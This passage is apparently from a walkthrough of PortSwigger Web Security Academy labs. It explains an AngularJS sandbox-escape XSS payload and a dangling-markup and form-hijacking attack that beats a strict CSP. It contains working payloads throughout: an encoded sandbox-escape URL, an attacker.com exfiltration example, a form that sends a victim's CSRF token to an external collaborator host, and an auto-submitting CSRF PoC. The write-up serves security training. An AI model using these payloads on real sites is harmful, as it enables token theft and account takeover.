  * This piece of code replaces `charAt` with `join`, now when something calls `.charAt()`, it actually runs `.join()`

In angular js sandbox, input is checked using `.charAt` , breaking whole input into character. Each character is checked if its malicious or not. Using above function, we are effectively destroying the checking function.

PART 2:

* `[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)`
  * `orderBy` can run a function (eg: `alert(0))`
  * `fromCharCode(120,61,97,108,101,114,116,40,49,41)` --> the numbers here are decimal representation of `x=alert(1)`, so `fromCharCode` function if converting decimal to ascii

**Final Magic (How It Becomes alert(1))**

* `toString().constructor` → Function
* `.fromCharCode(...)` → builds string: `"x=alert(1)"`
* `orderBy` tries to sort `[1,2]` → calls `.charAt` on each
* But `.charAt` is now .join → so it **joins** the array
* Angular sees `x=alert(1`) → assigns `x = alert(1)`
* `x()` → runs `alert(1`) → **POPUP**

*Works Only In:*

* **AngularJS < 1.6** (sandbox was removed in 1.6+)

FURTHER TESTING

![](/files/x6AtnyV6QPsaX5xAM31u)

`?search=1&2%2b2=1` --> `?search=1&2+2=1` <-->`(%2b = +)( url decoded)`

* `$scope.value = $parse(key)($scope.query);` --> `$parse("search=1&2+2=1")($scope.query)`

**AngularJS $parse is SUPER SMART**:

* **Normal**: $parse("search") → gets query.search
* **Magic**: $parse("2+2") → **calculates 4**!
* **Your case**: $parse("search=1&2+2=1") → **evaluates the whole expression**

**WHY =1 is used** `$parse("search=1&2+2=1")($scope)`

* `query.search = 1` → ignored (not used)
* `2+2=1` → tries to assign → **fails**, but **returns 4**
* Final result = 4 → **shown on page!**

FINAL XSS Payload

```
https://0a2e002403f863ec80e903a100dc0072.web-security-academy.net/?search=1&toString%28%29%2Econstructor%2Eprototype%2EcharAt%3D%5B%5D%2Ejoin%3B%20%5B1%2C2%5D%7CorderBy%3AtoString%28%29%2Econstructor%2EfromCharCode%28120%2C61%2C97%2C108%2C101%2C114%2C116%2C40%2C49%2C41%29=1
```

### Lab 26: Reflected XSS protected by very strict CSP, with dangling markup attack

This lab uses a strict CSP that prevents the browser from loading subresources from external domains.

To solve the lab, perform a form hijacking attack that bypasses the CSP, exfiltrates the simulated victim user's CSRF token, and uses it to authorize changing the email to `hacker@evil-user.net`.

You must label your vector with the word "Click" in order to induce the simulated user to click it. For example:

`<a href="">Click me</a>`

You can log in to your own account using the following credentials: `wiener:peter`

request to change email:

![](/files/6kJdHWOIMEKCmUIQOGKQ)

Lets understand `Dangling Markup Attack` "Dangling" = unfinished / hanging "Markup" = HTML tags like

**Real Example (Step-by-Step)**

```
<input type="text" name="search" value="USER_INPUT_HERE">
```

No escaping of " or >

STEP 1: `"><script>alert(1)</script>` --> Blocked by filter or CSP

STEP 2: `"><img src='//attacker.com/log?` final html becomes

```
<input type="text" name="search" value=""><img src='https://attacker.com/log?
[everything after this line gets added to the src URL]
```

lets say page continues with secret data:

```

<input required type="hidden" name="csrf" value="n79TyhEyRPSLwFF7mzlzcvxw4I2YdeCn">
<button class='button' type='submit'> Update email </button>
```

→ Browser keeps reading until it finds the next `'`

The request it will send to the attacker site will be like this (in URL encoded form):

```
https://attacker.com/log?<input required type="hidden" name="csrf" value="n79TyhEyRPSLwFF7mzlzcvxw4I2YdeCn">
<button class=
```

Hence we get the sensitive csrf token.\
lets implement this theory

**STEP 1: Finding point XSS Vulnerability** `https://0ae3004703c86175806d0322003000b0.web-security-academy.net/my-account?id=wiener`

![](/files/1FCNZiseToV8zNRPoCXF)

This endpoint `my-account?id=wiener` shows account information. When we pass additional parameter `email`, it pre fills the email in update email section.

![](/files/6sHUp0NNjAWsNzcQIqgk)

![](/files/da3BxYmIyjZpPyt655Ov)

if we pass this value `" ><script>alert(0)</script>`

![](/files/Ir0F0qlkc7So9P4rtge4)

```
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="" ><script>alert(0)</script>">
<input required type="hidden" name="csrf" value="POjdkGFeQub5813k3VlnptTlvZlDu1yn">
<button class='button' type='submit'> Update email </button>
</form>
```

editing form to send data to our server:

```
"></form><form class="login-form" name="dollarboysushli" action="https://5lrxq3619xtqeq165s0ujkbt0k6bu2ir.oastify.com/csrf" method="GET">
<button class='button' type='submit'>Click me</button>
```

![](/files/M3uhAfiBhSam0Zv5pExk)

Explanation:

* We are creating new form which sends the data to our controlled server.
* The data present inside our newly created form is `csrf` value.
* So, it sends get request with the `csrf` value to our server

Now sending this to victim.

```
<script>
location = "https://0ae3004703c86175806d0322003000b0.web-security-academy.net/my-account?&email=%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name=%22dollarboysushli%22%20action=%22https://5lrxq3619xtqeq165s0ujkbt0k6bu2ir.oastify.com/csrf%22%20method=%22GET%22%3E%3Cbutton%20class=%27button%27%20type=%27submit%27%3EClick%20me%3C/button%3E"
</script>
```

![](/files/Kc7f7wIgtYF0rPojYiVy)

We now have csrf token.

![](/files/1NhO85rh0QNQSuAUuziq)

Using burp pro we can create CSRF poc in seconds.

```
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0ae3004703c86175806d0322003000b0.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;evil&#45;user&#46;net" />
      <input type="hidden" name="csrf" value="ggICGH2IddN3iRuUrnROjTgoN8JhTWVX" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

```
